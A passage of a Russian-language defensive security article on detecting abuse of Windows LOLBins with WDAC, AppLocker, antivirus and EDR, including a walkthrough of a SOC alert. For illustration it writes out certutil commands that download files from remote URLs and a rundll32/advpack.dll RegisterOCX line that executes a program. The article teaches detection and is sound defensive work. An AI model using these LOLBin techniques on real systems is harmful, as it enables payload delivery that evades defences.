Политика WDAC представляет собой XML‑файл. Готовые шаблоны политик WDAC расположены по следующему пути: C:\Windows\schemas\CodeIntegrity\ExamplePolicies:

Например, политика AllowMicrosoft.xml разрешает запуск приложений, подписанных корневым сертификатом Microsoft. Подробнее о базовых политиках WDAC — на сайте Microsoft Learn.
Также WDAC позволяет создавать политики, расширяющие базовую политику для конкретных сценариев использования, которые могут различаться в зависимости от профилей пользователей.
AppLocker — это предшественник WDAC, который по‑прежнему доступен в Windows 11. Microsoft не обновляет его функции, но все еще передает обновления безопасности.
AppLocker используется для детального контроля приложений на хосте Windows, позволяя создавать разрешающие или запрещающие правила запуска приложений, а также определять, какие пользователи или группы могут запускать эти приложения. AppLocker — компонент групповых политик, что делает его удобным решением для организаций, использующих их в своей инфраструктуре.
В отличии от WDAC AppLocker — менее мощный инструмент. Основная сложность может возникнуть на первоначальном этапе, когда нужно настроить корректную работу и снизить риски сбоев.
WDAC работает на уровне ядра и запускается при старте системы, тогда как AppLocker является пользовательским механизмом контроля приложений. В связи с этим необходимо проводить дополнительный мониторинг службы AppIDSvc.
Предпочтительно использовать WDAC и AppLocker совместно, поскольку эти механизмы дополняют друг друга. При этом базовые конфигурации WDAC и AppLocker не предназначены для контроля эксплуатации LOLBins и требуют детальной настройки, что усложняет их внедрение в инфраструктуру.
Антивирусное программное обеспечение
Базовая линия в защите — антивирусное программное обеспечение (АВПО). Может показаться, что АВПО бесполезно против LOLBins, ведь это системные утилиты. Если антивирус заблокирует их, это повлечет сбои в системе. Однако в работе с подобными видами угроз АВПО не предназначено для выявления вредоносного кода в легитимных файлах. Его используют для следующих методов обнаружения угроз:
- Сигнатурный анализ. Метод позволяет детектировать ВПО, которое было доставлено в систему с помощью LOLBins. Обнаружить угрозу удается при сравнении кода файла с кодом уже известного ВПО.
- Эвристический анализ. Метод основан на анализе частей кода вредоносного ПО и выявлении в нем подозрительных конструкций.
- Поведенческий анализ. Метод основан на анализе поведения программ (в том числе легитимных утилит Windows) и выявлении в них действий, характерных для ВПО.
- Сетевая защита. Метод, подразумевающий блокировку подозрительных сетевых обращений к доменам с плохой репутацией.
Наиболее распространенное антивирусное ПО для Windows — встроенный компонент безопасности Windows Defender. При стандартной конфигурации его используют для всех перечисленных выше методов обнаружения угроз.
Эти механизмы позволяют выявлять многие сценарии злоупотребления LOLBins, например:
- загрузку вредоносных файлов через certutil;
- выполнение вредоносных PowerShell‑скриптов;
- попытки взаимодействия с C2‑серверами.
В качестве примера попробуем загрузить EICAR‑файл (стандартный файл для проверки работы АВПО) с помощью утилиты certutil.exe:
certutil -urlcache -f -split https://www.viruanalyst.com/eicar.zip

На скриншоте выше видно, что Windows Defender справился с поставленной задачей, то есть заблокировал попытку загрузки EICAR‑файла с удаленного ресурса virusanalyst[.]com.
Подробнее о методах обнаружения ВПО и анализе срабатываний антивирусов расскажем в статье «Принципы работы механизмов АВПО и детектирование вредоносного ПО в системе».
EDR‑решения
Endpoint detection and response (EDR) — класс решений для выявления на конечных точках угроз и реагирования на них.
Для организации мониторинга недостаточно использовать только антивирус, и вот почему:
- Отсутствие телеметрии с конечных точек. Невозможно проверять окрестности инцидента, чтобы идентифицировать положительное или ложное срабатывание.
- Алерты от правил обнаружения с закрытой логикой. Невозможно понять причины срабатывания АВПО.
- Отсутствие возможности реализовать собственные правила обнаружения. Приходится доверять контенту поставщика услуг АВПО.
- Отсутствие инструментов для активного реагирования. Невозможно повлиять на действия атакующего, собрать дополнительные артефакты для проверки.
Задачи, которые решает EDR
- Обнаружение атак, которые антивирус может пропустить. АВПО справляется с известными угрозами, но может пропускать атаки, в которых используются легитимные системные инструменты. EDR анализирует в совокупности цепочки процессов, аргументы командной строки и поведение, что позволяет обнаружить подозрительную активность, даже если отдельные элементы выглядят легитимно.
- Обеспечение прозрачности состояния конечных точек. При расследовании инцидента аналитику важно понимать, какой процесс послужил точкой входа, какие файлы затронуты, какая активность зафиксирована в окрестности инцидента. EDR фиксирует эти данные в реальном времени и хранит их. Это позволяет восстановить картину произошедшего, даже если атака случилась несколько месяцев назад.
- Реагирование в реальном времени. Без EDR аналитик при обнаружении угрозы вынужден привлекать администратора для действий на хосте. EDR позволяет изолировать хост от сети, завершить подозрительный процесс или собрать дополнительные артефакты, не выходя из консоли управления.
Решения класса EDR собирают телеметрию с конечных точек в реальном времени и хранят ее в едином хранилище. Это позволяет не только обнаруживать угрозы автоматически, но и ретроспективно исследовать события. Например, при threat hunting или расследовании инцидента, когда нужно восстановить полную цепочку действий атакующего.


Обнаружение эксплуатации LOLBins‑утилит с помощью EDR‑решения
Один источник телеметрии не дает полного контекста атаки, поэтому EDR‑решения собирают телеметрию из нескольких независимых источников данных:
- собственного драйвера сбора событий;
- ETW;
- Windows Event Log;
- данных инвентаризации, полученных по расписанию.


EDR выявляет злоупотребление системными утилитами за счет нескольких методов:
- Поведенческий анализ цепочек процессов. EDR отслеживает не отдельные процессы, а их последовательность. Запуск
certutil.exeсам по себе не вызывает подозрений — это легитимная утилита. Аномалией будет такая цепочка:winword.exe→cmd.exe→certutil.exe. Word не должен запускать командную строку, а та в свою очередь — certutil. Такая последовательность характерна для выполнения вредоносного макроса:

- Анализ аргументов командной строки. Даже если бинарный файл легитимен и подписан цифровой подписью, аргументы, с которыми он запущен, могут выдать атакующего. Например certutil с флагом
-urlcache -split -fиспользуется для загрузки файлов из интернета, что нетипично для штатной работы утилиты:certutil -urlcache -split -f «http://example.com/file.b64» output.b64. - Проверка родительского процесса. EDR анализирует, кто именно запустил процесс. Например, такая цепочка выглядит легитимной и не вызывает подозрений:
explorer.exe→notepad.exe. Подозрение должна вызвать цепочка такого вида:excel.exe→powershell.exe. Excel не должен запускать PowerShell в штатной работе — это признак выполнения вредоносного макроса или эксплуатации уязвимости. - Сетевое взаимодействие. EDR фиксирует сетевые соединения, инициированные системными утилитами. Большинство LOLBins в нормальной работе не устанавливают исходящих соединений. Если certutil или bitsadmin обращаются к внешнему адресу, это аномалия.
- Использование информации об актуальных угрозах. EDR способен сверять наблюдаемую активность с базой известных IoC: хешами файлов, IP‑адресами, доменами, связанными с известными атаками.
Пример, как выглядит обнаружение эксплуатации LOLBins‑утилит в BI.ZONE SOAR:

На скриншоте выше отображен алерт, сработавший на технику LOLBins: возможное исполнение кода через LOLBAS‑dll‑библиотеку. Командная строка запуска:
"C:\Windows\System32\rundll32.exe" c:\windows\system32\advpack.dll,RegisterOCX calc.exe
Это классическая LOLBAS‑техника: Rundll32 вызывает функцию RegisterOCX из advpack.dll, которая в свою очередь запускает calc.exe. В реальной атаке вместо calc.exe встречается вредоносная нагрузка.
Признаки злоупотребления Rundll32:
- Рабочая директория.
c:\hunting\hunts\nobelium\— нестандартный путь для легитимного использования Rundll32. Название папкиnobeliumсамо по себе является индикатором — это название известного кластера активности. - Расположение lnk‑файла (родительского процесса).
C:\hunting\hunts\nobelium\BadFolder.lnk— файл ярлыка с явно подозрительным именемBadFolderв той же директории. - Нестандартная цепочка процессов. Lnk‑файл не должен взаимодействовать с библиотекой
advpack.dllв штатной работе.
Как с этим алертом работают аналитики:
Получив такой алерт, аналитик SOC:
- Оценивает командную строку. Rundll32 вызывает RegisterOCX — эта функция предназначена для регистрации COM‑объектов, но здесь используется для запуска
calc.exe. Это нетипичное использование легитимной функции. - Проверяет контекст запуска. Рабочая директория —
nobelium, файл —BadFolder.lnk: аналитик ищет причину появления файлов, автора и время их создания. - Обращает внимание на родительский процесс. Если «родителем» является
winword.exeилиexplorer.exeпосле открытия lnk‑файла, сценарий атаки через вредоносный ярлык подтверждается. - Проверяет иные действия на хосте. Выясняет, фиксировались ли иные подозрительные события, например сетевые соединения, запуск новых процессов, изменения в реестре.
Чтобы увидеть полный контекст этого алерта, недостаточно одного факта запуска процесса. Также необходимы данные из нескольких источников одновременно:
- Телeметрия процессов — командная строка, родительский процесс, рабочая директория, хеш файла, расположение файла процесса. Без этого невозможно понять, что именно запустилось и с какими параметрами.
- Телеметрия файловой системы — когда появился
BadFolder.lnk, кто и когда его создал, был ли он скачан из интернета. Это помогает найти точку входа злоумышленника. - Телеметрия сети — устанавливал ли процесс исходящие соединения после запуска. В реальной атаке было бы обращение к C2‑серверу.
- Данные аутентификации — когда последний раз входил john.goldberg, с каких устройств, не было ли аномалий в поведении учетной записи.
Всю эту телеметрию собирают EDR‑решения. Они объединяют события из разных источников в единый контекст и позволяют аналитику видеть не отдельное событие, а полную цепочку действий атакующего.
Злоумышленники используют LOLBins‑утилиты, изначально предназначенные для администрирования, автоматизации и обслуживания системы, так как активность этих утилит сложно отличить от легитимных действий. Это смещает акцент с блокировки на анализ контекста: важно знать не только что запустилось, но и как, откуда и в какой последовательности.
Помимо технических средств защиты, важную роль играет специалист, отвечающий за анализ вердиктов. Именно человек — ключевое звено, поскольку он интерпретирует события кибербезопасности, отделяет легитимную активность от потенциально вредоносной и принимает решение о дальнейших действиях.
Даже современные средства защиты могут формировать ложноположительные срабатывания, поэтому от компетенции специалиста зависит своевременное выявление реальной угрозы и предотвращение атаки. Если ошибиться в ходе анализа, можно как пропустить атаку, так и необоснованно заблокировать бизнес‑процесс. Вот почему профессиональная подготовка так важна.
Хотя злоумышленники используют LOLBins как тихий инструмент, большинство техник применения утилит имеют характерные паттерны, которые редко встречаются в легитимной активности. При наличии качественной телеметрии и понимания этих паттернов аналитик способен выявлять нелегитимное использование LOLBins.